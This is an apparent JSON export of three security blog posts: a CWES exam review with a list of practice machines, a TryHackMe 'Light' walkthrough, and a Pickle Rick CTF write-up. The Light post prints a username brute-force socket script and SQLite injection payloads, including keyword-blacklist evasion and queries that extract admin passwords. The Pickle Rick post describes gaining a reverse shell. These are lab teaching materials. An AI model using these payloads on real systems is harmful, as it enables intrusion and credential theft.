[ { "title": "HTB CWES Exam Review — My Raw Experience, the Mistakes, and What I Actually Learned", "url": "/posts/htb-cwes-review/", "categories": "Cybersecurity, Writeups, HackTheBox, Web Security, Exams, Reviews", "tags": "htb, cwes, web-security, exam-review, penetration-testing, api-security, walkthrough, bug-bounty, methodology", "date": "2026-09-04 12:00:00 +0530", "content": "At this point I have also realized that CWES is not about knowing the vulnerabilities but it’s about exploiting them and utilizing them and chaining them to increase the impact. The major thing is also the way you think you’ll have to think out of the BOX. I remember I started in the afternoon and not in the morning so that I get a buffer time on the last day for polishing anything. On the first day I got only 1 flag! That was also very very very frustrating as I tried everything I knew that I would find here, but the flag was something that I assumed won’t be here. So I really think you should have a proper proper checklist, like for example you get a CMS from the modules and you purely start focusing on what techniques we are taught specially for that CMS which is wrong, very very wrong, you should make a complete list of what is possible after mapping the application properly apart from the techniques taught for the specific tech. Also on the second day I tried everything to get the second flag, literally everything in spite of knowing if you get stuck for more than a hour you should move on, I just couldn’t, I knew it’s somewhere in front of eyes and I’m missing it, I wasted my second day being stubborn to get this flag. Slept late completely frustrated The Diary That Turned My Exam Around On the third day I said fuck it, I’m being too lazy and trying random stuff I think would work. So changed the procedure a lil bit. Took a diary, wrote down everything I knew through enumeration. Then I wrote down possible ways I have in front of me to get the second flag, even tho I had tested them yesterday I still thought of doing it, stubbornness is the word. Then started testing the possibilities one by one, but more systematically and not with excitement but with the discipline to test things completely so we can rule it out and say it’s not there, and not be unsure like, it might be there but lets see. And I found the second flag, it was such a such a silly mistake and laziness from my side, I had touched it yesterday but not completely. And today I tested it completely cuz I had to rule out things, and I found it, it was right in front!! I also got the third flag on day 3, cuz I started actually writing down things and eliminating one by one. And yet again the 4th flag here we go!! So I would strongly suggest using a diary and using elimination, that really really helped me! On the fourth day got the 5th flag, the 6th flag, that writing down really really helped, and as I didn’t give the whole day that’s why I think I got 2 or ig I could have got more On the 5th day got the 7th flag, the 8th flag I tried everything I wrote didn’t work so thought of moving on as I did not have much of the time left, and got the 9th and the 10th flag on day 5 I did try to write the report every day, at the end of the day, which made it very easy for me at the last. On the 6th and 7th day I decided to get the reporting part done and then push for the 8th flag, completed the report I mean I put all the findings and everything properly. Then I started the grind for the 8th flag tried each and everything I still don’t know what I missed still got no luck. The 7th day I polished the report even more cross-checked each and everything, made sure there are no mistakes in the report. And as I had no possibility to check I then submitted the report. To my surprise I got the result a day later that was so so shocking, earlier when I submitted the CJCA report it took few days or week I don’t really remember but surely not so so quick I didn’t solve many labs, to be honest, but I tried to solve as much as possible, and tbh I needed a walkthrough for almost all of them. It was very very frustrating, tbh. But I just thought if my mind is not in practice to think in such ways, I would never ever think then, I’ll need to know the way to think, which I’m still developing, in spite of being happy for the cert that one flag still has a place in my mind, I wanna know what I missed so next time in similar situations I’ll know what I can do. That’s why referring a walkthrough for me has been positive. I don’t randomly open the walkthrough and follow the steps I just check the exact step I’m stuck on. And then try to think in that way! And specially in the last few days remaining for exam I didn’t really have much time to practice and revise so just to give my mind new ways to think I would randomly ask Gemini to give walkthroughs of any suggested machine, just so that I get familiar thinking in such a way. Keep Your Blade Sharp: On Consistency The preparation part honestly speaking it was very on and off, I had other things to do as well, it took me roughly 4 months to complete the path, few of which modules were already completed long back ago, had to revisit them properly and thoroughly. I would really really suggest, being consistent, your knives should always have blood on them. Only a fool goes into battle with a dull blade, but a bigger fool spends his life sharpening a blade he never uses. That was me tbh honest I didn’t really practice for 4 months and at the end tried solving labs that was so dumb, Please don’t be dumb after reading this!! You have to keep practicing while learning. I know you won’t have the complete knowledge while solving but you’ll always have a walkthrough to refer to, after solving an unknown lab you be known to a new type of vuln or chaining that will really really help, I guess this has cost me the 8th flag, idk. Boxes I’d Recommend Before You Sit for CWES I’ll attach a list of recommended boxes, go through them while learning, not after learning!!!! and for CWES I would just suggest to get the user flag but if you have enough time go for the root flag as well, it will be no waste at all but only if you have enough time. This is the list of recommended boxes, and there is an official CWES track on HTB labs as well, go for that as well!!! # Machine OS Key Focus 1 Bashed Linux Web shell, directory discovery 2 BountyHunter Linux XXE, Python exploitation 3 Friendzone Linux DNS, LFI 4 Cronos Linux DNS zone transfer, command injection 5 Shibboleth Linux IPMI, Zabbix exploitation 6 Alert Linux Web enumeration 7 Cap Linux PCAP analysis, IDOR 8 GoodGames Linux SQLi, SSTI 9 TwoMillion Linux API exploitation 10 Headless Linux XSS, command injection 11 Usage Linux SQLi, file upload 12 OpenSource Linux Source code review, Git 13 Editorial Linux SSRF, API enumeration 14 Nineveh Linux Brute force, LFI 15 Enterprise Linux WordPress, SQLi 16 Forge Linux SSRF 17 RedCross Linux XSS, SQLi 18 Timing Linux LFI, mass assignment 19 Node Linux API exploitation, deserialization This list is actually stolen from https://nalchhen.com/posts/cwes-review/. And make sure you utilize the walkthrough and not rely on the walkthrough! After completing the path try to not look into the walkthrough and solve the machines again or maybe the skills assessments. Getting Back Into “Just Solve” Mode I remember a time when I was in 9th/10th/11th where I would just keep solving thm machines, I was so used to it I didn’t need a walkthrough after some time, that’s the time I’m missing, I am trying to get back in that mode, solving solving and solving, it doesn’t mean I’ll forget everything else, but I’ll rather make solving challenges a part of my weekly goals. Now ahead I think I’ll start bug hunting, or maybe freelancing, not sure but yeah I’ll be using my blade continuously no matter what! The Methodology I Wish I’d Had From Day One Also I forgot earlier, the complete methodology and checklist is very very very fkin important, this time I partially relied on the methodology and checklist from others. After this blog I’m gonna segregate my notes more properly and create a good methodology/checklists for myself so I don’t miss a thing and work systematically instead of in excitement and pure instincts. I respect instincts, those are really good and get me the flag but, CWES has tested it, few flags were easy ofc but few did test them. So I’ll make a personal methodology and a checklist soon, might drop it here if you guys demand! Reviews That Helped Me I would really like to mention these resources/reviews that helped me A video by CristiCyberSec -> https://youtu.be/Tw6BycGF7ZM?si=erLzBXuItPvQ-KsQ A blog by nalchhen -> https://nalchhen.com/posts/cwes-review/ So, Who Should Actually Take CWES? Now let’s come to the part that who should actually take the exam? -> tbh I also really don’t know, all I can say is if you ever feel you should test your skills as a junior web pentester go for it or also if you are a beginner and want to start a career in web pentesting yeah this would fit in that as well, btw I don’t think it is industry known but I really liked the content and the exam was awesome, TESTED me frr." }, { "title": "TryHackMe Light Walkthrough - SQL Injection Challenge", "url": "/posts/thm-light-walkthrough/", "categories": "Cybersecurity, Writeups, Tryhackme", "tags": "tryhackme, thm, sql-injection, sqlite, database, enumeration, ctf, easy", "date": "2025-08-15 15:30:00 +0530", "content": "TryHackMe Light Walkthrough Link to the Room : https://tryhackme.com/room/lightroom I am working on a database application called Light! Would you like to try it out? If so, the application is running on **port 1337**. You can connect to it using `nc MACHINE-IP 1337` You can use the username `smokey` in order to get started. Lets start the machine and wait for 2-3 minutes, let the machine get fully functional. Q1 What is the admin username? As usual running a full port scan for identifying potential entry points. nmap -p- -T4 MACHINE-IP -vv Meanwhile lets try connecting to the port 1337 nc MACHINE-IP 1337 Lets try the username provided smokey Alright! So, I guess we can try brute-forcing a wordlist of usernames, but we cannot use ffuf… So, I took this script from ChatGPT, and modified it little to make it work. import socket target_ip = \"10.201.15.128\" # change this target_port = 1337 wordlist = \"SecLists/Usernames/cirt-default-usernames.txt\" # your username list with open(wordlist, \"r\") as f: usernames = [u.strip() for u in f if u.strip()] for user in usernames: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Receive initial banner / prompt banner = s.recv(1024).decode() print(banner.strip()) u = s.recv(1024).decode() print(u.strip()) # Send username s.send((user + \"\\n\").encode()) # Receive response response = s.recv(1024).decode() print(f\"[{user}] -> {response.strip()}\") s.close() I tried few wordlists but didn’t find anything. Got back to the nmap scan and LOL!, its gonna take forever so its not the way in for sure! What else can we do? Found no http pages, where can we even use the credentials we’ve got earlier? Lets try to change the approach. Lets try putting in some random input, my mind is getting a little idea of where it is going maybe. Its more of an Injection vulnerability I see Its been a long I have not dealt with a SQLi, now quickly digging through my notes for revising required methods. From the responses below I can imagine of a SQL query select pass from users where user='<input>' limit 30 Now we’ll try creating some SQL payloads based on the payloads I already have in my notes. 'union select 1' Okhayy! They might be blocking some keywords most probably as an easy way out. Here might be a logic error lets try 'UnIOn sElecT 1' as a developer I would also blacklist these keywords as its an easy fix(not a fix really). Laziness is a problem frr. I love these kinda logic based errors! Lets start enumerating. 'Union Select @@version' Didn’t work maybe some other database! Refer this https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#sqlite-enumeration This one worked 'Union Select sqlite_version()' Its sqlite database version: 3.31.1 Using the PayloadsAllTheThings Repository for reference! 'Union Select sql from sqlite_master' Now we know the table name, column names. Enough to craft useful payloads. You can use PayloadsAllTheThings and suitable LLM for crafting payloads 'Union Select username from admintable where id='1 If needed we could’ve dumped all but in this case we don’t need the whole database. Q2 What is the password to the username mentioned in question 1? 'Union Select password from admintable where username='<admin-user> Q3 What is the flag? Till now you could’ve figured it out, we have already got the id for the user flag, so most probably its password will be the final flag. Little modifications to the previous payload will get you the flag." }, { "title": "Tryhackme Pickle-Rick Writeup", "url": "/posts/writeup-thm-pickle-rick/", "categories": "Cybersecurity, Writeups, Tryhackme", "tags": "cybersecurity, tryhackme, thm, picklerick, gobuster, dirb, ssh, nc, nmap, kali-linux, ctf", "date": "2022-07-23 15:30:00 +0530", "content": "Tryhackme pickle rick step by step writeup Link to the room : https://tryhackme.com/room/picklerick This is the http page for the machine! :- Lets run a nmap scan to know more! As only 2 ports are open lets try to find more directories! robots.txt seems interesting, Lets check it out! Let me check the source code of the page first, to see if i get anything potential! I got the username! Now lets check the robots.txt. Seems interesting Lets try to ssh using the username and the string we got in the robots.txt ok Why not find login panels in the web?, Lets do it. Great so we got an login panel Lets use the credentials we got earlier! Great so now we have command line interface lol. Lets ls quickly! Woah!, lets try to access it via browser as its in the same directory! Great! Lets check clue.txt now. Ok so basically we’ll need a shell in order to navigate through filesystem effeciently! We have a good resource for shells : gtfobins.github.io I just modified it little bit, to make it short and easy! First run the netcat listener to start listening for the reverse shell in the attacker machine! Now run the payload in the command pannel. Great, so now we have a reverse shell! Lets check for users in the home directory! Greaat we got our second ingredient! Lets try to sudo su to see if we get root acces? Great we got the root acces and also the third ingredient!" } ]